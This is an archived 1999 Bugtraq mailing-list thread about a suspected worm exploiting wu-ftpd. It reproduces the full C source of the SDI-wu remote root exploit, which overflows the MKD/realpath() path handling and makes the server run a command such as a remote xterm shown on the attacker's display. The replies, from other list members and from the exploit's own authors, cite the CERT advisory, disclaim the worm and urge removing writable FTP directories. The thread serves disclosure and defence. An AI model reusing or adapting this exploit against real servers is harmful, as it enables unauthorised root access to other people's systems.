`Date: Wed, 14 Apr 1999 02:19:17 -0300
From: Stu Alchor <[email protected]>
To: [email protected]
Subject: Possible WU-ftpd Worm ?
I'm a system administrator of a educational domain which deals with
information and technology. During the last 2 weeks, a our network have
been acting very weird, with a lot of traffic in one of our main machines.
By joining our computer response team, we've soon identified a intruder
activity, who was running scripts and exploiting another hosts around.
But what took my attention is that he had a script called ftp-w0rm.tgz
which was able to look for ftpd bug around the world, exploit it and
reproduce the script like the worm. We found out that once the worm gets
in a new host, it will install a backdoor (bindcode) in the port 31337
and starts the new scan. By taking a look at the time stamp, the intruder
is running this toy since march.
As I've run the old ftp exploit I found in the bugtraq and they didn't
work so I thought we were not vulnerable. I will attach the core of the
ftp worm (SDI-wu.c), the exploit for the vulnerability, which, btw, worked
in my host.
I will not include the source for the worm. Our computer response team have
been contacted to verify the code.
-- Begin of file --
/*
* SDI wu-ftpd exploit for Linux (Feb 20, 1999)
*
* http://www.sekure.org - Brazilian Information Security Team.
*
* Source by jamez ([email protected])
* c0nd0r ([email protected])
*
* This source will let you execute remote commands as root if you have
* write access on the ftp server.
*
* Usage:
*
* gcc SDI-wu.c -o SDI-wu
*
* ./SDI-wu host user password dir command type [port] [align]
*
* host: the victim (ftp.microsoft.com)
* user: ftp user with write access (anonymous)
* password: the password for the user ([email protected])
* dir: the directory you have access (/incoming)
* command: the command ("/usr/X11R6/bin/xterm -display www.host.com:0")
* type: system type (see below)
* port: ftp port (21 default)
* align: the alignment (default 3)
*
*
* Limitations:
*
* because I've used hard coded address's for system and the command,
* the values wont be the same in others compilations of wu-ftpd.
* so, you will need to find the address for the version
* you want to exploit.
*
* because we are not using the stack to put our code, the exploit
* will work as well against a non-executable stack patch.
*
*
* RECOMENDATION = Please, run gdb through the wu.ftpd binary in order to
* find out your "system address" (ie: print system) and write it down
* so you can have more address to try - just overwrite the default addr
* and choose type (3).
*
*
* Thanks for the sekure SDI:
* fcon, bishop, dumped, bahamas, slide, vader, yuckfoo.
*
* Also thanks for #uground (irc.brasnet.org) and
* chaosmaker, c_orb(efnet)
*
*/
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <stdio.h>
#include <arpa/inet.h>
#define MAXLEN 255
#define BSIZE 1024
struct sockaddr_in sa;
struct hostent *he;
char c = 'A';
char host[255],
user[255],
pass[255],
command[1024],
buff[2040],
tmp[3060],
netbuf[2040],
dir[255];
int sd,
i,
offset = 0,
dirsize = 0,
port=21,
doit = 0,
done = 0,
todo = 0,
align = 3,
tipo = 0;
/* CUSTOM ADDRESS, CHANGE IT IN ORDER TO EXPLOIT ANOTHER BOX */
#define SYSADDR 0x40043194;
#define EGGADDR 0x805f1dc;
long systemaddr;
long shelladdr;
void usage(char * s) {
printf(" \nSDI wu-ftpd remote exploit (http://www.sekure.org)\n\n");
printf(" %s host user password dir command [port] [align]\n\n", s);
printf(" host: the victim (ftp.microsoft.com)\n");
printf(" user: ftp user with write access (anonymous)\n");
printf(" password: the password for the user ([email protected])\n");
printf(" dir: the directory you have permission to write (/incoming)\n");
printf(" command: the command (\"/usr/X11R6/bin/xterm -display www.host.com:0\")\n");
printf(" type: see below\n");
printf(" port: ftp port (21 default)\n");
printf(" align: the alignment (3 default)\n");
printf("\n type:\n 0 - slak3.4 ver 2.4(4)\n 1 - slak3.4 ver beta-15&18");
printf("\n 2 - slak3.3 ver 2.4(2)");
printf("\n 3 - custom (change the code)\n\n See Netect advisory - ");
printf(" this is not suppose to be released soon! (Feb,1999)\n\n");
}
void get_dirsize() {
strcpy ( tmp, "PWD"); strcat ( tmp, "\n");
write ( sd, tmp, strlen(tmp));
read ( sd, netbuf, sizeof(netbuf));
for(i = 0; i < strlen(netbuf); i++)
if(netbuf[i] == '\"') break;
dirsize = 0;
for(i++; i < strlen(netbuf); i++)
if(netbuf[i] == '\"')
break;
else
dirsize++;
bzero ( &netbuf, sizeof(netbuf));
}
int main (int argc, char *argv[]) {
if (argc < 7) {
usage(argv[0]);
exit(0);
}
sprintf(host, "%s", argv[1]);
sprintf(user, "%s", argv[2]);
sprintf(pass, "%s", argv[3]);
sprintf(dir, "%s", argv[4]);
sprintf(command, "%s", argv[5]);
tipo = atoi (argv[6]);
printf ( "%d\n\n", tipo);
if ( argc > 7) port = atoi(argv[7]);
if ( argc > 8) align = atoi(argv[8]);
if (tipo <= 0) {
/* 2.4(4) libc5 slack 3.4 */
systemaddr = 0x400441f0;
shelladdr = 0x80604a0;
} else if (tipo == 1) {
/* beta 15 libc5 slack 3.4 */
systemaddr = 0x400441f0;
shelladdr = 0x8062510;
} else if (tipo == 2) {
/* 2.4(4) libc5 slack 3.3 */
systemaddr = 0x400441f0;
shelladdr = 0x805f1e4;
} else {
/* CUSTOM ADDRESS */
systemaddr = SYSADDR;
shelladdr = EGGADDR;
}
sd = socket ( AF_INET, SOCK_STREAM, 0);
sa.sin_family = AF_INET;
sa.sin_port = htons(port);
he = gethostbyname (host);
if (!he) {
if ( (sa.sin_addr.s_addr = inet_addr(host)) == INADDR_NONE) {
printf ( "wrong ip address or unknown hostname\n"); exit(0);
}
}
else {
bcopy ( he->h_addr, (struct in_addr *) &sa.sin_addr, he->h_length);
}
if ( connect ( sd, (struct sockaddr *) &sa, sizeof(sa)) < 0) {
printf ( "Cannot connect to remote host: Connection refused\n");
exit(0);
}
read ( sd, netbuf, sizeof(netbuf));
printf ( "%s\n", netbuf); bzero ( &netbuf, sizeof(netbuf));
/* ok. we're connected. */
strcpy ( tmp, "USER "); strcat (tmp, user); strcat ( tmp, "\n");
write ( sd, tmp, strlen(tmp)); bzero ( &tmp, sizeof(tmp));
read ( sd, netbuf, sizeof(netbuf));
printf ( "%s\n", netbuf); bzero ( &netbuf, sizeof(netbuf));
/* ok. send the pass. */
strcpy ( tmp, "PASS "); strcat (tmp, pass); strcat ( tmp, "\n");
write ( sd, tmp, strlen(tmp)); bzero ( &tmp, sizeof(tmp));
read ( sd, netbuf, sizeof(netbuf));
if ( netbuf[0] == '5') {
printf ("Login incorrect!\n"); exit(0); }
printf ( "%s\n", netbuf);
#ifdef DEBUG
printf ( "Ok, we're on! Press any key to exploit it\n");
gets(netbuf);
#endif
bzero ( &netbuf, sizeof(netbuf));
/* ok. let's get to the vulnerable dir */
strcpy ( tmp, "CWD "); strcat (tmp, dir); strcat ( tmp, "\n");
write ( sd, tmp, strlen(tmp)); bzero ( &tmp, sizeof(tmp));
read ( sd, netbuf, sizeof(netbuf));
printf ( "%s\n", netbuf); bzero ( &netbuf, sizeof(netbuf));
get_dirsize(); /* gets home dir size */
todo = BSIZE - dirsize - 60 - 4;
/* ok, we're on. let's get things working here! */
while(done < todo) {
if((todo - done) > 255)
doit = 255;
else
doit = todo - done;
for (i = 0; i < doit; i++)
buff[i] = c;
buff[doit] = '\0';
strcpy ( tmp, "MKD "); strcat ( tmp, buff); strcat ( tmp, "\n");
write ( sd, tmp, strlen(tmp));
read ( sd, netbuf, sizeof(netbuf));
if ( netbuf[1] == '2') {
printf ("error while creating the dir, let's try another name...\n\n");
c++;
continue;
}
else
done += doit;
bzero ( &tmp, sizeof(tmp)); bzero ( &netbuf, sizeof(netbuf));
strcpy ( tmp, "CWD "); strcat ( tmp, buff); strcat ( tmp, "\n");
write ( sd, tmp, strlen(tmp));
read ( sd, netbuf, sizeof(netbuf));
if ( netbuf[0] == '5') {
printf ("error while exploiting the remote host: Cannot cd dir!\n\n");
}
bzero ( &tmp, sizeof(tmp)); bzero ( &netbuf, sizeof(netbuf));
}
/* prepare last one */
memset(buff, 'X', MAXLEN);
for(i = align; i < 100; i += 4) {
buff[i ] = systemaddr & 0x000000ff;
buff[i+1] = (systemaddr & 0x0000ff00) >> 8;
buff[i+2] = (systemaddr & 0x00ff0000) >> 16;
buff[i+3] = (systemaddr & 0xff000000) >> 24;
}
buff[i++] = shelladdr & 0x000000ff;
buff[i++] = (shelladdr & 0x0000ff00) >> 8;
buff[i++] = (shelladdr & 0x00ff0000) >> 16;
buff[i++] = (shelladdr & 0xff000000) >> 24;
strcat(command, ";");
memcpy(buff+140, command, strlen(command));
buff[MAXLEN] = '\0';
strcpy ( tmp, "MKD "); strcat ( tmp, buff); strcat ( tmp, "\n");
write ( sd, tmp, strlen(tmp));
read ( sd, netbuf, sizeof(netbuf));
bzero ( &tmp, sizeof(tmp)); bzero ( &netbuf, sizeof(netbuf));
/* ok. */
printf ( "Exploiting %s\n", dir);
printf ( "Using 0x%x(system) and 0x%x(command), alignment = %d, port = %d\n", systemaddr, shelladdr, align, port);
printf("\nI guess you're a hax0r now :D.\n");
close (sd);
}
-- End of File (SDI-wu.c) --
----------------------------------------------
Stu A. - SysADM of Sao Paulo Technical College
E-mail [email protected] Fone +5511-37601201
[email protected] Sao Paulo - Brazil
----------------------------------------------
---------------------------------------------------------------------------
Date: Wed, 14 Apr 1999 14:04:11 -0400
From: Gregory Newby <[email protected]>
To: [email protected]
Subject: Re: Possible WU-ftpd Worm ?
On Wed, 14 Apr 1999, Stu Alchor wrote:
> I'm a system administrator of a educational domain which deals with
> ...
> But what took my attention is that he had a script called ftp-w0rm.tgz
> which was able to look for ftpd bug around the world, exploit it and
> reproduce the script like the worm. We found out that once the worm gets
> in a new host, it will install a backdoor (bindcode) in the port 31337
> and starts the new scan. By taking a look at the time stamp, the intruder
> is running this toy since march.
I sent a message related to this two weeks ago which Aleph
(evidently) chose not to post. The message and associated
programs/documents is at http://blue.ils.unc.edu/Apr1/hack/
(blue-bugtraq.txt is the post).
This program, like ADMwuftpd.c, exploits
WRITE-able directories on your Linux FTP server.
It then uses a hole in wu-ftpd (found in all versions,
including the VR patches) to get a root shell.
The program you included, Stu, seems to combine the scanning
for a writable directory with the exploit. ADMwuftpd.c,
which was posted to Bugtraq around the end of March,
needs to be told where to run the exploit. Other
programs (a few are available) actually look for writable
directories.
The hole is a buffer overflow for very long directory
names.
>From there, everything's easy... the program
which started out as a remote FTP connection ends up as
a root shell to the remote machine. You don't even
get logged, because it's not an actual login. But
the intruder could, of course, set up a username or
do anything else s/he chooses. You mentioned that
a backdoor was installed...sure, that's viable.
Once you get that root shell, anything is fair game.
The solution is simply to not have any world writeable
directories under your anonymous FTP tree. This is
good policy anyway, regardless of this particular exploit,
because a world writeable directory is just an invitation
for your site to be turned into a warez distribution point.
-- Greg
// Gregory B. Newby, Assistant Professor in the School of Information
// and Library Science, University of North Carolina at Chapel Hill
// CB# 3360 Manning Hall, Chapel Hill, NC, 27599-3360 E: [email protected]
// V: 919-962-8064 F: 919-962-8071 W: http://www.ils.unc.edu/~gbnewby/
---------------------------------------------------------------------------
Date: Wed, 14 Apr 1999 13:51:46 -0400
From: Gregory A Lundberg <[email protected]>
To: [email protected]
Subject: Re: Possible WU-ftpd Worm ?
On Wed, 14 Apr 1999, Stu Alchor wrote:
> As I've run the old ftp exploit I found in the bugtraq and they didn't
> work so I thought we were not vulnerable. I will attach the core of
> the ftp worm (SDI-wu.c), the exploit for the vulnerability, which,
> btw, worked in my host.
> strcpy ( tmp, "MKD "); strcat ( tmp, buff); strcat ( tmp, "\n");
This is the realpath() overflow discussed in
http://www.cert.org/advisories/CA-99-03-FTP-Buffer-Overflows.html
Please review that document to determine if your version of the WU-FTPD
daemon is vulnerable.
The addition of a backdoor (if true) is new, however.
Anyone wishing to discuss this matter may contact me through either of the
WU-FTPD discussion lists cc'd above or through private email.
The location of the latest version of wu-ftpd can be found in the
directory
ftp://ftp.vr.net/pub/wu-ftpd/
wu-ftpd Resource Center: http://www.landfield.com/wu-ftpd/
wu-ftpd FAQ: http://www.cetis.hvu.nl/~koos/wu-ftpd-faq.html
wu-ftpd list archive: http://www.landfield.com/wu-ftpd/mail-archive/
--
Gregory A Lundberg
1441 Elmdale Drive [email protected]
Kettering, OH 45409-1615 USA 1-888-977-5370
---------------------------------------------------------------------------
Date: Fri, 16 Apr 1999 02:08:22 -0300
From: Eduard Condor <[email protected]>
To: [email protected]
Subject: SDI-wu is NOT the worm
We've been very surprised by the last message with subject "WU-ftp worm",
which the author claims to be hit by a ftpd worm.
As the authors of the code attached in that message, we would like to
say that we have no connections with this worm and we've never seen such
code before. That means we do NOT have the code.
Sekure SDI is not a cracker group. Our exploit code has been made only for
testing purpose and it was NOT suppose to be released.
Also, we would like to make a little comment about the wu-ftpd exploit:
- The SDI-wu code needs some fixes to work in Red Hat and other linux
distribution. Script kiddies -> don't even try to run it!
- The first exploit released (made by duke - I think ADMwuftpd) will not
work. WU-ftpd will discard nulls characters so the return address
(bf ff f3 c0) will not be passed to the stack, which means we cannot
execute the instructions inserted in the buffer. It also will bring you to
the reason we've not coded the exploit in the ordinary way.
- Unlike the WU-ftp, the PROFTP will not accept some of the characters of
the standard shellcode and exploit code, so it's much more difficult to
exploit. I would say it's nearly impossible.
I've received a lot of message asking about how to use the exploit, bla
bla. We will NOT help kiddies with this tool.
At last, I would like to make clear that Sekure SDI has nothing to do with
this worm. Our goal is only to seek and provide security information.
* PLEASE, updated your wu-ftpd to the newest version! *
Thank you,
-condor
www.sekure.org
s e k u r e
pgp key available at: http://condor.sekure.org/condor.asc
`